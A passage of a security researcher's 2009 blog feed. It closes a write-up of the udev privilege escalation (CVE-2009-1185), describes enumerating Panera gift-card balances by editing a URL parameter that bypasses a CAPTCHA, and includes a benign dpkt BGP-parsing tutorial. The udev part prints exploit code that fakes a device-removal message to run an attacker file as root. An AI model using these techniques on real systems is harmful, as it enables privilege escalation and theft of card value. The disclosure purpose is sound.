<p>This action is useful as it allows execution of arbitrary commands when a particular device is removed.  It&#8217;s also very useful to us for the same reason as we can simply fake the removal of a device by sending a netlink message to udevd.  The following snippet from my <a href="http://jon.oberheide.org/files/cve-2009-1185.c">exploit</a> does exactly that by specifying a malicious REMOVE_CMD and causes the privileged execution of attacker-controlled /tmp/run file:</p>
<pre>mp = message;
mp += sprintf(mp, "remove@/d") + 1;
mp += sprintf(mp, "SUBSYSTEM=block") + 1;
mp += sprintf(mp, "DEVPATH=/dev/foo") + 1;
mp += sprintf(mp, "TIMEOUT=10") + 1;
mp += sprintf(mp, "ACTION=remove") +1;
mp += sprintf(mp, "REMOVE_CMD=/tmp/run") +1;</pre>
<p>Overall, a great find by Sebastian and near-universal local privilege escalation on Linux platforms.</p>
]]></content:encoded>
			<wfw:commentRss>http://jon.oberheide.org/blog/2009/04/20/udev-local-privilege-escalation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Panera Gift Card Security</title>
		<link>http://jon.oberheide.org/blog/2009/04/15/panera-gift-card-security/</link>
		<comments>http://jon.oberheide.org/blog/2009/04/15/panera-gift-card-security/#comments</comments>
		<pubDate>Wed, 15 Apr 2009 07:32:25 +0000</pubDate>
		<dc:creator>Jon Oberheide</dc:creator>
				<category><![CDATA[Technical]]></category>

		<guid isPermaLink="false">http://jon.oberheide.org/blog/?p=257</guid>
		<description><![CDATA[A bit of information on Panera Bread&#8217;s gift card security, or lack thereof.

Traditional gift card security often involves a randomized account number and a scratch-off PIN number.  Randomized account numbers prevent attackers from guessing valid accounts numbers to use.  Scratch-off PIN numbers prevent attackers from checking/using card numbers and from going in to brick-and-mortar stores [...]]]></description>
			<content:encoded><![CDATA[<p>A bit of information on Panera Bread&#8217;s gift card security, or lack thereof.</p>
<p><span id="more-257"></span></p>
<p>Traditional gift card security often involves a randomized account number and a scratch-off PIN number.  Randomized account numbers prevent attackers from guessing valid accounts numbers to use.  Scratch-off PIN numbers prevent attackers from checking/using card numbers and from going in to brick-and-mortar stores to capture numbers of unactiviated cards on the racks (checkout clerks are advised to discard any cards that already have the PIN scratched-off or otherwise tampered with).  Online websites also use CAPTCHAs and rate-limiting to avoid attackers attempting to bruteforce card number space.</p>
<p>Upon a visit to Panera for a delicious turkey bravo, I naturally wandered over to the gift card stand to play with the piles of unactivated magcards.  A quick glance of two cards showed two nearly identical account numbers, only differing by a couple hundred values:</p>
<p style="text-align: center;"><img class="aligncenter size-full wp-image-375" title="cards" src="http://jon.oberheide.org/blog/wp-content/uploads/2009/07/cards.jpg" alt="cards" width="400" height="386" /></p>
<p style="text-align: center;">
<p>Sequential card numbers, not a good start.  I purchased a couple cards with a low balance to play around with.  Later, I checked out the Panera website to query the balance of my cards and test other cards within the same sequential range:</p>
<p style="text-align: center;"><img class="size-full wp-image-369 aligncenter" title="captcha" src="http://jon.oberheide.org/blog/wp-content/uploads/2009/07/captcha.png" alt="captcha" width="449" height="403" /></p>
<p>Darn, a CAPTCHA!  Looks like we&#8217;re out of luck for mass querying of card numbers.  Filling in the card number and the correct CAPTCHA value results in being redirected to the following URL:</p>
<pre>/checkbalance_transhistory.aspx?cardNum=6006491610278240240&amp;isCA=False</pre>
<p>Hrm, what if we simply supply a different card number directly in the query string?  Surpise, the results are shown for the specified card number without requiring us to complete a CAPTCHA.  In other words, the original CAPTCHA check is useless since it is not actually enforced by the page displaying the results.</p>
<p style="text-align: center;"><img class="aligncenter" title="balance" src="http://jon.oberheide.org/blog/wp-content/uploads/2009/07/balance.png" alt="balance" width="431" height="372" /></p>
<p>So it turns out we can do some mass querying of candidate card numbers.  With a quick httplib python script, I queried 50,000 card numbers from 600649161023198727 to 600649161023248727.  Some summary stats:</p>
<pre>Total cards queried: 50,000
Total cards with a non-zero balance: 17,570

Max value on a card: $200.00
Min value on a card: $0.01
Average value on a card: $10.78

Total value of queried cards: $189,487.49</pre>
<p>$189,487.49 is a lot of sandwiches!</p>
<p>In addition to the balance, the Panera site displays where/when the card was purchased/activated and lists individual transactions for every time it is used. While tracking someone&#8217;s Panera usage isn&#8217;t very exciting, one could run some interesting stats on most popular Panera stores, most effective placement/conversion rates of gift card displays, etc.</p>
<p>Numerous attempts to contact Panera and the company responsible for their gift card distribution have been unfruitful.</p>
]]></content:encoded>
			<wfw:commentRss>http://jon.oberheide.org/blog/2009/04/15/panera-gift-card-security/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>dpkt Tutorial #4: AS Paths from MRT/BGP</title>
		<link>http://jon.oberheide.org/blog/2009/03/25/dpkt-tutorial-4-as-paths-from-mrt-bgp/</link>
		<comments>http://jon.oberheide.org/blog/2009/03/25/dpkt-tutorial-4-as-paths-from-mrt-bgp/#comments</comments>
		<pubDate>Wed, 25 Mar 2009 17:35:43 +0000</pubDate>
		<dc:creator>Jon Oberheide</dc:creator>
				<category><![CDATA[Technical]]></category>

		<guid isPermaLink="false">http://jon.oberheide.org/blog/?p=262</guid>
		<description><![CDATA[Previously we looked at creating ICMP echo requests, parsing a PCAP file, and doing DNS spoofing with the dpkt framework.  Today I will show how to parse the AS paths of BGP messages out of MRT routing dumps.

Parsing BGP routing information is fun.  However, before projects like RouteViews were around, getting a global view of [...]]]></description>
			<content:encoded><![CDATA[<p>Previously we looked at <a href="http://jon.oberheide.org/blog/2008/08/25/dpkt-tutorial-1-icmp-echo/">creating ICMP echo requests</a>, <a href="http://jon.oberheide.org/blog/2008/10/15/dpkt-tutorial-2-parsing-a-pcap-file/">parsing a PCAP file</a>, and <a href="http://jon.oberheide.org/blog/2008/12/20/dpkt-tutorial-3-dns-spoofing/">doing DNS spoofing</a> with the <a href="http://code.google.com/p/dpkt/">dpkt</a> framework.  Today I will show how to parse the AS paths of BGP messages out of MRT routing dumps.</p>
<p><span id="more-262"></span></p>
<p>Parsing BGP routing information is fun.  However, before projects like <a href="http://www.routeviews.org/">RouteViews</a> were around, getting a global view of Internet routing in real-time simply wasn&#8217;t possible.  But thanks to RouteViews, we can extract useful routing information from the <a href="http://tools.ietf.org/html/draft-ietf-grow-mrt-10">MRT</a> dumps from a number of providers&#8217; perspectives.</p>
<p>For our example today, we&#8217;ll be parsing out the AS path from BGP update messages within MRT dumps.  Perhaps you&#8217;re interested in what or how many AS hops are traversed between a source and destination.  Maybe you&#8217;re inferring ISP peering relationships based on the ASNs in the path.  Or maybe you&#8217;re trying to identify anomalous AS paths that may indicate misconfiguration or malicious activity.  Whatever the case, we will show how dpkt can make the parsing easy.</p>
<p>The <a href="http://code.google.com/p/dpkt/source/browse/trunk/dpkt/bgp.py">BGP module</a> is by far the most complex and comprehensive of all the dpkt modules weighing in at almost 800 lines.  It supports the protocol format of the core BGP RFC as well as 8 RFCs that extend the BGP protocol.  On top of dpkt&#8217;s BGP module, we also have the <a href="http://jon.oberheide.org/projects/pybgpdump/">pybgpdump</a> library that abstracts away a few of the formalities of iterating through a MRT dump.</p>
<p>Before we begin, we need a sample MRT dump.  A sample dump that comes distributed with pybgpdump is available <a href="http://code.google.com/p/pybgpdump/source/browse/trunk/samples/sample.dump.gz">here</a>.</p>
<p>pybgpdump defines a class called BGPDump that takes a filename as an argument (as can been seen in <a href="http://code.google.com/p/pybgpdump/source/browse/trunk/pybgpdump.py">pybgpdump.py</a>).  The BGPDump can transparently handle gzip&#8217;ed, bzip&#8217;ed, or uncompressed MRT dumps.  An instance of the BGPDump class can be iterated on to step through each MRT record in the dump.  If the MRT record is determined to be of the BGP4 type, it will be handed to the user for processing.</p>
<p>For example, a simple snippet to count the number of BGP messages in a MRT dump:</p>
<div class="syntax">
<pre><span class="n">cnt</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">dump</span> <span class="o">=</span> <span class="n">pybgpdump</span><span class="o">.</span><span class="n">BGPDump</span><span class="p">(</span><span class="s">'sample.dump.gz'</span><span class="p">)</span>
<span class="k">for</span> <span class="n">mrt_h</span><span class="p">,</span> <span class="n">bgp_h</span><span class="p">,</span> <span class="n">bgp_m</span> <span class="ow">in</span> <span class="n">dump</span><span class="p">:</span>
    <span class="n">cnt</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="k">print</span> <span class="n">cnt</span><span class="p">,</span> <span class="s">'BGP messages in the MRT dump'</span></pre>
</div>
<p>However, for our tutorial, we would like to print out the AS path for each BGP update message.  So instead of incrementing a counter within our for loop, we&#8217;ll explore our bgp_m object, an instance of the BGP class in dpkt&#8217;s bgp.py.  A BGP instance contains a few miscellaneous attributes (len, type, etc) and will contain a data attribute which is an instance of the Open, Update, Notification, Keepalive, or RouteRefresh class (depending on the message type).  Since pybgpdump will only hand us update messages, we know that bgp_m.data is an instance of the Update class.</p>
<p>Update messages in BGP contain NLRI (network layer reachability information), including routes that are withdrawn or announced.  In addition, they contain a wide variety of Attributes that specify additional information about the update message.  One of these attributes is the AS path, which itself is made up of segments of different types.  To actually access the AS path information, we have to reach down deep into the bgp_m object:</p>
<pre>bgp_m: instance of BGP
    .type: type of BGP message
    .len: length of BGP message
    .update/.data: instance of Update()
        .withdrawn: list of withdrawn routes
        .announced: list of announced routes
        .attributes: list of instances of Attribute
            .flags: attribute flags
            .type: attribute type
            .data/.as_path: instance of ASPath
                .segments: list of instances of ASPathSegment
                    .type: type of path segment (set, sequence, confed)
                    .len: number of ASNs in the segment
                    .data/.path: list of ASN integers in the segment</pre>
<p>While things may look pretty crazy from that object hierarchy, the code to access the AS path is fairly simple:</p>
<div class="syntax">
<pre><span class="n">dump</span> <span class="o">=</span> <span class="n">BGPDump</span><span class="p">(</span><span class="s">'sample.dump.gz'</span><span class="p">)</span>
<span class="k">for</span> <span class="n">mrt_h</span><span class="p">,</span> <span class="n">bgp_h</span><span class="p">,</span> <span class="n">bgp_m</span> <span class="ow">in</span> <span class="n">dump</span><span class="p">:</span>
    <span class="k">for</span> <span class="n">attr</span> <span class="ow">in</span> <span class="n">bgp_m</span><span class="o">.</span><span class="n">update</span><span class="o">.</span><span class="n">attributes</span><span class="p">:</span>
        <span class="k">if</span> <span class="n">attr</span><span class="o">.</span><span class="n">type</span> <span class="o">==</span> <span class="n">bgp</span><span class="o">.</span><span class="n">AS_PATH</span><span class="p">:</span>
            <span class="k">print</span> <span class="n">path_to_str</span><span class="p">(</span><span class="n">attr</span><span class="o">.</span><span class="n">as_path</span><span class="p">)</span>
            <span class="k">break</span></pre>
</div>
<p>We simply loop through the attributes of the update message until we find the AS path attribute.  However, as seen in the object hierarchy, attr.as_path is still a list of segments that needs to be decoded.  We use the path_to_str() function to pretty-print this list of segments in the standard AS path form that identifies sets, sequences, and confederations:</p>
<div class="syntax">
<pre><span class="n">DELIMS</span> <span class="o">=</span> <span class="p">(</span> <span class="p">(</span><span class="s">''</span><span class="p">,</span> <span class="s">''</span><span class="p">),</span>
           <span class="p">(</span><span class="s">'{'</span><span class="p">,</span> <span class="s">'}'</span><span class="p">),</span>  <span class="c"># AS_SET</span>
           <span class="p">(</span><span class="s">''</span><span class="p">,</span> <span class="s">''</span><span class="p">),</span>    <span class="c"># AS_SEQUENCE</span>
           <span class="p">(</span><span class="s">'('</span><span class="p">,</span> <span class="s">')'</span><span class="p">),</span>  <span class="c"># AS_CONFED_SEQUENCE</span>
           <span class="p">(</span><span class="s">'['</span><span class="p">,</span> <span class="s">']'</span><span class="p">)</span> <span class="p">)</span> <span class="c"># AS_CONFED_SET</span>

<span class="k">def</span> <span class="nf">path_to_str</span><span class="p">(</span><span class="n">path</span><span class="p">):</span>
    <span class="nb">str</span> <span class="o">=</span> <span class="s">''</span>
    <span class="k">for</span> <span class="n">seg</span> <span class="ow">in</span> <span class="n">path</span><span class="o">.</span><span class="n">segments</span><span class="p">:</span>
        <span class="nb">str</span> <span class="o">+=</span> <span class="n">DELIMS</span><span class="p">[</span><span class="n">seg</span><span class="o">.</span><span class="n">type</span><span class="p">][</span><span class="mi">0</span><span class="p">]</span>
        <span class="k">for</span> <span class="n">AS</span> <span class="ow">in</span> <span class="n">seg</span><span class="o">.</span><span class="n">path</span><span class="p">:</span>
            <span class="nb">str</span> <span class="o">+=</span> <span class="s">'</span><span class="si">%d</span><span class="s"> '</span> <span class="o">%</span> <span class="p">(</span><span class="n">AS</span><span class="p">)</span>
        <span class="nb">str</span> <span class="o">=</span> <span class="nb">str</span><span class="p">[:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
        <span class="nb">str</span> <span class="o">+=</span> <span class="n">DELIMS</span><span class="p">[</span><span class="n">seg</span><span class="o">.</span><span class="n">type</span><span class="p">][</span><span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="s">' '</span>
    <span class="k">return</span> <span class="nb">str</span></pre>
</div>
<p>Finally putting it all together, we can successfully extract the AS paths from BGP update messages within a MRT table dump in only a few lines of code:</p>
<pre>jonojono@dionysus ~/pybgpdump/samples $ python aspath.py
3333 1103 3549 4755
3333 286 6762 17557
3333 1103 3549 8866 39163
3333 1103 3549 6762 17557
...</pre>
<p>The full source for the example in this tutorial is available here:</p>
<p><a href="http://pybgpdump.googlecode.com/svn/trunk/samples/aspath.py">http://pybgpdump.googlecode.com/svn/trunk/samples/aspath.py</a></p>
<div class="published">
<div class="header">
<p><script src="http://www.gstatic.com/codesite/ph/1947537347154300628/js/dit_scripts_20081013.js" type="text/javascript"></script> <script src="http://www.gstatic.com/codesite/ph/1947537347154300628/js/core_scripts_20081103.js" type="text/javascript"></script> <script src="http://code.google.com/js/codesite_product_dictionary_ph.pack.04102009.js" type="text/javascript"></script></div>
</div>
]]></content:encoded>
			<wfw:commentRss>http://jon.oberheide.org/blog/2009/03/25/dpkt-tutorial-4-as-paths-from-mrt-bgp/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Dynamic page generated in 0.570 seconds. -->
<!-- Cached page generated by WP-Super-Cache on 2010-03-21 23:52:03 -->
